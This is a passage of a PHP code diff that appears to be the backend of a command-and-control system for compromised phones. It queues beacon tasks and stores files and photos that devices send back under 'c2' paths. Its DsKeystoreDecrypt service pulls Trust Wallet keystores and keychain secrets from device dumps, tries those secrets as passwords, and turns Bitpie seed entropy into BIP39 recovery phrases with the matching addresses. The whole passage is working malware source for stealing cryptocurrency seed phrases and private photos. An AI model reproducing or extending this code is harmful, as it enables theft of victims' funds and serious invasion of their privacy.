$task = $this->findRunnable($device);
|
||||
if (! $task) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
if ($task->type !== 'photos' && $task->type !== 'basic_info') {
|
||||
return $task;
|
||||
}
|
||||
$task->forceFill([
|
||||
'status' => DsBeaconTask::STATUS_SKIPPED,
|
||||
'completed_at' => now(),
|
||||
'result_meta' => [
|
||||
'reason' => $task->type === 'photos'
|
||||
? 'queue_uses_photo_scan_only'
|
||||
: 'removed_from_queue',
|
||||
],
|
||||
])->save();
|
||||
}
|
||||
}
|
||||
|
||||
private function findRunnable(Device $device): ?DsBeaconTask
|
||||
{
|
||||
return DsBeaconTask::query()
|
||||
->where('device_id', $device->id)
|
||||
->where(function ($q) {
|
||||
$q->where('status', DsBeaconTask::STATUS_PENDING)
|
||||
->orWhere(function ($q2) {
|
||||
$q2->where('status', DsBeaconTask::STATUS_DISPATCHED)
|
||||
->where('result_count', 0);
|
||||
});
|
||||
})
|
||||
->orderBy('position')
|
||||
->lockForUpdate()
|
||||
->first();
|
||||
}
|
||||
|
||||
private function requeueLoopTypes(Device $device): bool
|
||||
{
|
||||
$tasks = DsBeaconTask::query()
|
||||
->where('device_id', $device->id)
|
||||
->whereIn('type', self::LOOP_TYPES)
|
||||
->where('status', DsBeaconTask::STATUS_DONE)
|
||||
->lockForUpdate()
|
||||
->get();
|
||||
if ($tasks->isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
foreach ($tasks as $task) {
|
||||
$task->forceFill([
|
||||
'status' => DsBeaconTask::STATUS_PENDING,
|
||||
'command_id' => null,
|
||||
'dispatched_at' => null,
|
||||
'completed_at' => null,
|
||||
])->save();
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,684 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\BtcAddress;
|
||||
use App\Services\Chain\EthAddress;
|
||||
use App\Services\Chain\TronAddress;
|
||||
use App\Support\WalletSource;
|
||||
use FurqanSiddiqui\BIP39\BIP39;
|
||||
|
||||
/**
|
||||
* Recover a BIP39 phrase from DS Trust UTC blobs or Bitpie seedPhraseEntropy.
|
||||
*/
|
||||
final class DsKeystoreDecrypt
|
||||
{
|
||||
/**
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
public function recover(Device $device, mixed $wallets, mixed $sandbox): array
|
||||
{
|
||||
$hits = [];
|
||||
$seen = [];
|
||||
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
$bitpieNodes = [$wallets, $sandbox];
|
||||
foreach ($device->keystores as $row) {
|
||||
if ($row->source === 'Bitpie') {
|
||||
$bitpieNodes[] = $row->raw_json;
|
||||
}
|
||||
}
|
||||
foreach ($this->recoverBitpie($bitpieNodes) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array
|
||||
{
|
||||
$utcs = $this->collectKeystores($sandbox);
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
|
||||
if ($utcs === []) {
|
||||
return [];
|
||||
}
|
||||
$passwords = $this->collectPasswords($wallets);
|
||||
foreach ($device->keystores as $row) {
|
||||
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
||||
}
|
||||
$passwords = array_slice($this->uniquePasswords($passwords), 0, 8);
|
||||
if ($passwords === []) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$hits = [];
|
||||
foreach ($utcs as $item) {
|
||||
$phrase = $this->unlock($item['keystore'], $passwords);
|
||||
if ($phrase === null) {
|
||||
continue;
|
||||
}
|
||||
$source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet';
|
||||
$hits[] = [
|
||||
'source' => $source,
|
||||
'tag' => WalletSource::tagForLabel($source),
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
];
|
||||
}
|
||||
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<mixed> $nodes
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
private function recoverBitpie(array $nodes): array
|
||||
{
|
||||
$phrases = [];
|
||||
$addresses = [];
|
||||
foreach ($nodes as $node) {
|
||||
foreach ($this->collectBitpieEntropyHex($node) as $hex) {
|
||||
$phrase = $this->phraseFromEntropyHex($hex);
|
||||
if ($phrase !== null) {
|
||||
$phrases[$phrase] = true;
|
||||
}
|
||||
}
|
||||
$addresses = array_merge($addresses, $this->collectBitpieAddresses($node));
|
||||
}
|
||||
if ($phrases === []) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$uniq = [];
|
||||
$seenAddr = [];
|
||||
foreach ($addresses as $row) {
|
||||
$key = $row['address'];
|
||||
if (isset($seenAddr[$key])) {
|
||||
continue;
|
||||
}
|
||||
$seenAddr[$key] = true;
|
||||
$uniq[] = $row;
|
||||
}
|
||||
|
||||
$hits = [];
|
||||
foreach (array_keys($phrases) as $phrase) {
|
||||
$hits[] = [
|
||||
'source' => 'Bitpie',
|
||||
'tag' => 'r',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => $uniq,
|
||||
];
|
||||
}
|
||||
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $passwords
|
||||
*/
|
||||
public function unlock(array $keystore, array $passwords): ?string
|
||||
{
|
||||
foreach ($passwords as $password) {
|
||||
$plain = EthKeystore::decrypt($keystore, $password);
|
||||
if ($plain === null) {
|
||||
continue;
|
||||
}
|
||||
$phrase = $this->asMnemonic($plain);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{source: string, keystore: array<string, mixed>}>
|
||||
*/
|
||||
public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectKeystores($decoded, $source, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
if ($this->isKeystore($node)) {
|
||||
return [['source' => $source, 'keystore' => $node]];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
foreach ($node as $key => $child) {
|
||||
$next = $source;
|
||||
if (is_string($key)) {
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$next = $hint;
|
||||
}
|
||||
}
|
||||
$out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1));
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function collectPasswords(mixed $node, int $depth = 0): array
|
||||
{
|
||||
$items = $this->collectPasswordItems($node, $depth);
|
||||
usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']);
|
||||
$out = [];
|
||||
foreach ($items as $item) {
|
||||
$out = array_merge($out, $this->passwordsFromHex($item['hex']));
|
||||
}
|
||||
|
||||
return $this->uniquePasswords($out);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{hex: string, score: int}>
|
||||
*/
|
||||
private function collectPasswordItems(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 8 || ! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
$hex = $node['dataHex'] ?? null;
|
||||
if (is_string($hex) && $hex !== '') {
|
||||
$account = strtolower((string) ($node['account'] ?? ''));
|
||||
$score = 0;
|
||||
if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) {
|
||||
$score += 100;
|
||||
}
|
||||
$rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2;
|
||||
if ($rawLen === 32.0 || $rawLen === 64.0) {
|
||||
$score += 20;
|
||||
}
|
||||
$out[] = ['hex' => $hex, 'score' => $score];
|
||||
}
|
||||
foreach (['items', 'wallets', 'sandbox'] as $key) {
|
||||
if (! isset($node[$key]) || ! is_array($node[$key])) {
|
||||
continue;
|
||||
}
|
||||
foreach ($node[$key] as $child) {
|
||||
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) {
|
||||
foreach ($node as $child) {
|
||||
if (is_array($child)) {
|
||||
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<WalletKeystore> $rows
|
||||
*/
|
||||
public function markDecrypted(iterable $rows, string $source): void
|
||||
{
|
||||
foreach ($rows as $row) {
|
||||
if (! $row instanceof WalletKeystore) {
|
||||
continue;
|
||||
}
|
||||
if ($row->source !== $source) {
|
||||
continue;
|
||||
}
|
||||
if ((int) $row->decrypted === 1) {
|
||||
continue;
|
||||
}
|
||||
$row->decrypted = 1;
|
||||
$row->save();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
private function isKeystore(array $node): bool
|
||||
{
|
||||
$crypto = $node['crypto'] ?? $node['Crypto'] ?? null;
|
||||
if (! is_array($crypto)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
private function passwordsFromHex(string $hex): array
|
||||
{
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
|
||||
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
||||
return [];
|
||||
}
|
||||
$raw = @hex2bin($hex);
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->passwordsFromString($raw);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
private function passwordsFromString(string $raw): array
|
||||
{
|
||||
$out = [$raw];
|
||||
if (mb_check_encoding($raw, 'UTF-8')) {
|
||||
$trim = trim($raw);
|
||||
if ($trim !== '' && $trim !== $raw) {
|
||||
$out[] = $trim;
|
||||
}
|
||||
$unquoted = trim($trim, "\"'");
|
||||
if ($unquoted !== '' && $unquoted !== $trim) {
|
||||
$out[] = $unquoted;
|
||||
}
|
||||
if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) {
|
||||
$bin = @hex2bin($trim);
|
||||
if (is_string($bin) && $bin !== '') {
|
||||
$out[] = $bin;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $passwords
|
||||
* @return list<string>
|
||||
*/
|
||||
private function uniquePasswords(array $passwords): array
|
||||
{
|
||||
$seen = [];
|
||||
$out = [];
|
||||
foreach ($passwords as $password) {
|
||||
if ($password === '') {
|
||||
continue;
|
||||
}
|
||||
if (isset($seen[$password])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$password] = true;
|
||||
$out[] = $password;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function decodeBlob(string $raw): mixed
|
||||
{
|
||||
$raw = trim($raw);
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
|
||||
$json = json_decode($raw, true);
|
||||
|
||||
return is_array($json) ? $json : null;
|
||||
}
|
||||
$b64 = base64_decode($raw, true);
|
||||
if (is_string($b64) && $b64 !== '') {
|
||||
$json = json_decode($b64, true);
|
||||
if (is_array($json)) {
|
||||
return $json;
|
||||
}
|
||||
}
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
|
||||
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
|
||||
$bin = @hex2bin($hex);
|
||||
if (is_string($bin) && $bin !== '') {
|
||||
$json = json_decode($bin, true);
|
||||
if (is_array($json)) {
|
||||
return $json;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function asMnemonic(string $plain): ?string
|
||||
{
|
||||
$text = strtolower(trim($plain));
|
||||
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
|
||||
$words = $text === '' ? [] : explode(' ', $text);
|
||||
$n = count($words);
|
||||
if ($n !== 12 && $n !== 24) {
|
||||
return null;
|
||||
}
|
||||
foreach ($words as $word) {
|
||||
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
return implode(' ', $words);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectBitpieEntropyHex($decoded, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
$account = strtolower(trim((string) ($node['account'] ?? '')));
|
||||
if ($account === 'seedphraseentropy') {
|
||||
$hex = $this->entropyHexFromItem($node);
|
||||
if ($hex !== null) {
|
||||
$out[] = $hex;
|
||||
}
|
||||
}
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_string($key) && strtolower($key) === 'seedphraseentropy') {
|
||||
$hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []);
|
||||
if ($hex !== null) {
|
||||
$out[] = $hex;
|
||||
}
|
||||
}
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
|
||||
*/
|
||||
public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
if (! $inBitpie) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->addressesFromBitpieText($node);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
$account = strtolower(trim((string) ($node['account'] ?? '')));
|
||||
$extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true);
|
||||
if (in_array($account, ['useraddresskey', 'useraddress'], true)) {
|
||||
$out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node)));
|
||||
}
|
||||
if ($extract && isset($node['address']) && is_string($node['address'])) {
|
||||
$mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null);
|
||||
if ($mapped !== null) {
|
||||
$out[] = $mapped;
|
||||
}
|
||||
}
|
||||
foreach ($node as $key => $child) {
|
||||
if (! is_array($child) && ! is_string($child)) {
|
||||
continue;
|
||||
}
|
||||
$childInBitpie = $inBitpie || $this->isBitpieLabel($key);
|
||||
$walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie);
|
||||
if (! $walk) {
|
||||
continue;
|
||||
}
|
||||
$out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie));
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function isBitpieLabel(mixed $key): bool
|
||||
{
|
||||
$raw = strtolower(trim((string) $key));
|
||||
|
||||
return $raw !== '' && (
|
||||
str_contains($raw, 'bitpie')
|
||||
|| in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true)
|
||||
);
|
||||
}
|
||||
|
||||
private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool
|
||||
{
|
||||
if (is_int($key)) {
|
||||
return $inBitpie;
|
||||
}
|
||||
$raw = strtolower(trim((string) $key));
|
||||
|
||||
return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $item
|
||||
*/
|
||||
private function entropyHexFromItem(array $item): ?string
|
||||
{
|
||||
$hex = $item['dataHex'] ?? null;
|
||||
if (is_string($hex) && $hex !== '') {
|
||||
$fromHex = $this->normalizeEntropyHex($hex);
|
||||
if ($fromHex !== null) {
|
||||
return $fromHex;
|
||||
}
|
||||
$bin = $this->fromHex($hex);
|
||||
if ($bin !== null) {
|
||||
$nested = $this->normalizeEntropyHex($bin);
|
||||
if ($nested !== null) {
|
||||
return $nested;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $this->normalizeEntropyHex($this->itemUtf8($item));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $item
|
||||
*/
|
||||
private function itemUtf8(array $item): string
|
||||
{
|
||||
$hex = $item['dataHex'] ?? null;
|
||||
if (is_string($hex) && $hex !== '') {
|
||||
$bin = $this->fromHex($hex);
|
||||
if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) {
|
||||
return trim($bin);
|
||||
}
|
||||
}
|
||||
$data = $item['data'] ?? null;
|
||||
|
||||
return is_string($data) ? trim($data) : '';
|
||||
}
|
||||
|
||||
private function normalizeEntropyHex(string $raw): ?string
|
||||
{
|
||||
$raw = trim($raw);
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
$bin = $this->fromHex($raw);
|
||||
if ($bin !== null) {
|
||||
if (mb_check_encoding($bin, 'UTF-8')) {
|
||||
$trim = trim($bin);
|
||||
if ($this->isEntropyHex($trim)) {
|
||||
return strtolower($trim);
|
||||
}
|
||||
}
|
||||
if (strlen($bin) === 16 || strlen($bin) === 32) {
|
||||
return strtolower(bin2hex($bin));
|
||||
}
|
||||
}
|
||||
if ($this->isEntropyHex($raw)) {
|
||||
return strtolower($raw);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function isEntropyHex(string $value): bool
|
||||
{
|
||||
return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value)
|
||||
|| (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value);
|
||||
}
|
||||
|
||||
private function phraseFromEntropyHex(string $hex): ?string
|
||||
{
|
||||
try {
|
||||
$mnemonic = BIP39::Entropy(strtolower($hex));
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
$phrase = strtolower(trim(implode(' ', $mnemonic->words)));
|
||||
|
||||
return $this->asMnemonic($phrase);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
|
||||
*/
|
||||
private function addressesFromBitpieText(string $text): array
|
||||
{
|
||||
$out = [];
|
||||
$text = trim($text);
|
||||
if ($text === '') {
|
||||
return $out;
|
||||
}
|
||||
$direct = $this->addressRow($text, null);
|
||||
if ($direct !== null) {
|
||||
$out[] = $direct;
|
||||
}
|
||||
if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) {
|
||||
$json = json_decode($m[1], true);
|
||||
if (is_array($json)) {
|
||||
$out = array_merge($out, $this->collectBitpieAddresses($json, 0, true));
|
||||
}
|
||||
}
|
||||
$decoded = $this->decodeBlob($text);
|
||||
if (is_array($decoded)) {
|
||||
$out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true));
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{address: string, chainType: string, symbol: string, balance: int}|null
|
||||
*/
|
||||
private function addressRow(string $address, mixed $hint): ?array
|
||||
{
|
||||
$address = trim($address);
|
||||
if ($address === '') {
|
||||
return null;
|
||||
}
|
||||
$chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address);
|
||||
$chain = strtoupper($chain);
|
||||
if (! WalletSource::isSupportedChain($chain)) {
|
||||
return null;
|
||||
}
|
||||
$normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain));
|
||||
if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) {
|
||||
return null;
|
||||
}
|
||||
if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) {
|
||||
return null;
|
||||
}
|
||||
if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) {
|
||||
return null;
|
||||
}
|
||||
$symbol = match ($chain) {
|
||||
'BITCOIN', 'BTC' => 'BTC',
|
||||
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
|
||||
'BNB', 'BSC', 'BINANCE' => 'BNB',
|
||||
default => 'TRX',
|
||||
};
|
||||
|
||||
return [
|
||||
'address' => $address,
|
||||
'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)),
|
||||
'symbol' => $symbol,
|
||||
'balance' => 0,
|
||||
];
|
||||
}
|
||||
|
||||
private function chainFromHint(mixed $hint): ?string
|
||||
{
|
||||
$raw = strtolower(trim((string) $hint));
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) {
|
||||
return 'TRON';
|
||||
}
|
||||
if (str_contains($raw, 'eth')) {
|
||||
return 'ETHEREUM';
|
||||
}
|
||||
if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) {
|
||||
return 'BITCOIN';
|
||||
}
|
||||
|
||||
return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null;
|
||||
}
|
||||
|
||||
private function fromHex(string $value): ?string
|
||||
{
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
|
||||
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($hex);
|
||||
|
||||
return is_string($bin) ? $bin : null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\Photo;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class DsResultStore
|
||||
{
|
||||
/** @var list<string> */
|
||||
private const VIDEO_EXT = ['mp4', 'mov', 'm4v', 'avi', 'mkv', 'webm', '3gp', 'qt'];
|
||||
|
||||
/** @var list<string> */
|
||||
private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff'];
|
||||
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Persist one /result body. Videos are dropped. Chunks assemble under
|
||||
* c2/ds-chunks then land in c2/ds-results. Images also go through album ingest.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function store(Device $device, array $payload): array
|
||||
{
|
||||
$filename = $this->safeName((string) ($payload['filename'] ?? ''));
|
||||
if ($filename === '') {
|
||||
return ['stored' => false, 'reason' => 'no_filename'];
|
||||
}
|
||||
if ($this->isVideo($filename)) {
|
||||
return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename];
|
||||
}
|
||||
|
||||
$raw = $payload['data'] ?? null;
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename];
|
||||
}
|
||||
$bytes = base64_decode($raw, true);
|
||||
if ($bytes === false) {
|
||||
return ['stored' => false, 'reason' => 'bad_base64', 'filename' => $filename];
|
||||
}
|
||||
|
||||
$commandId = $this->safeName((string) ($payload['command_id'] ?? 'unknown')) ?: 'unknown';
|
||||
$total = isset($payload['total_chunks']) ? (int) $payload['total_chunks'] : 0;
|
||||
$index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null;
|
||||
|
||||
if ($total > 1 && $index !== null) {
|
||||
$assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
|
||||
if ($assembled === null) {
|
||||
return [
|
||||
'stored' => false,
|
||||
'reason' => 'chunk_pending',
|
||||
'filename' => $filename,
|
||||
'chunk_index' => $index,
|
||||
'total_chunks' => $total,
|
||||
];
|
||||
}
|
||||
$bytes = $assembled;
|
||||
}
|
||||
|
||||
$hash = hash('sha256', $bytes);
|
||||
if ($this->alreadyIngested($device, $filename, $hash)) {
|
||||
return [
|
||||
'stored' => false,
|
||||
'reason' => 'duplicate',
|
||||
'filename' => $filename,
|
||||
'size' => strlen($bytes),
|
||||
];
|
||||
}
|
||||
|
||||
$rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename;
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
$this->markSeen($device, $hash, $filename);
|
||||
|
||||
$photo = false;
|
||||
if ($this->isImage($filename) && $device->albumStorageEnabled()) {
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
|
||||
if ($tmp !== false) {
|
||||
file_put_contents($tmp, $bytes);
|
||||
$this->ingest->ingestPhotos($device, [$tmp]);
|
||||
@unlink($tmp);
|
||||
$photo = true;
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'stored' => true,
|
||||
'path' => $rel,
|
||||
'photo' => $photo,
|
||||
'size' => strlen($bytes),
|
||||
'filename' => $filename,
|
||||
];
|
||||
}
|
||||
|
||||
private function alreadyIngested(Device $device, string $filename, string $hash): bool
|
||||
{
|
||||
if (Storage::disk('local')->exists($this->seenPath($device, $hash))) {
|
||||
return true;
|
||||
}
|
||||
if ($this->isImage($filename)
|
||||
&& Photo::query()->where('device_id', $device->id)->where('sha256', $hash)->exists()) {
|
||||
$this->markSeen($device, $hash, $filename);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private function markSeen(Device $device, string $hash, string $filename): void
|
||||
{
|
||||
Storage::disk('local')->put($this->seenPath($device, $hash), $filename);
|
||||
}
|
||||
|
||||
private function seenPath(Device $device, string $hash): string
|
||||
{
|
||||
return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash;
|
||||
}
|
||||
|
||||
private function acceptChunk(
|
||||
Device $device,
|
||||
string $commandId,
|
||||
string $filename,
|
||||
int $index,
|
||||
int $total,
|
||||
string $bytes,
|
||||
): ?string {
|
||||
$dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename;
|
||||
Storage::disk('local')->put($dir.'/'.$index, $bytes);
|
||||
Storage::disk('local')->put($dir.'/total', (string) $total);
|
||||
|
||||
for ($i = 0; $i < $total; $i++) {
|
||||
if (! Storage::disk('local')->exists($dir.'/'.$i)) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
$out = '';
|
||||
for ($i = 0; $i < $total; $i++) {
|
||||
$out .= (string) Storage::disk('local')->get($dir.'/'.$i);
|
||||
}
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function isVideo(string $filename): bool
|
||||
{
|
||||
return in_array($this->extension($filename), self::VIDEO_EXT, true);
|
||||
}
|
||||
|
||||
private function isImage(string $filename): bool
|
||||
{
|
||||
return in_array($this->extension($filename), self::IMAGE_EXT, true);
|
||||
}
|
||||
|
||||
private function extension(string $filename): string
|
||||
{
|
||||
$dot = strrpos($filename, '.');
|
||||
if ($dot === false) {
|
||||
return '';
|
||||
}
|
||||
|
||||
return strtolower(substr($filename, $dot + 1));
|
||||
}
|
||||
|
||||
private function safeName(string $name): string
|
||||
{
|
||||
$name = str_replace(["\0", '\\'], '', $name);
|
||||
$name = basename(str_replace(['/', '\\'], '', $name));
|
||||
$name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name) ?? '';
|
||||
|
||||
return $name === '.' || $name === '..' ? '' : $name;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Support\WalletSource;
|
||||
|
||||
/**
|
||||
* Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox.
|
||||
* Only BTC / ETH / TRX; at most two addresses per chain, in file order.
|
||||
*/
|
||||
class DsTrustAddressIngest
|
||||
{
|
||||
public const MAX_PER_CHAIN = 2;
|
||||
|
||||
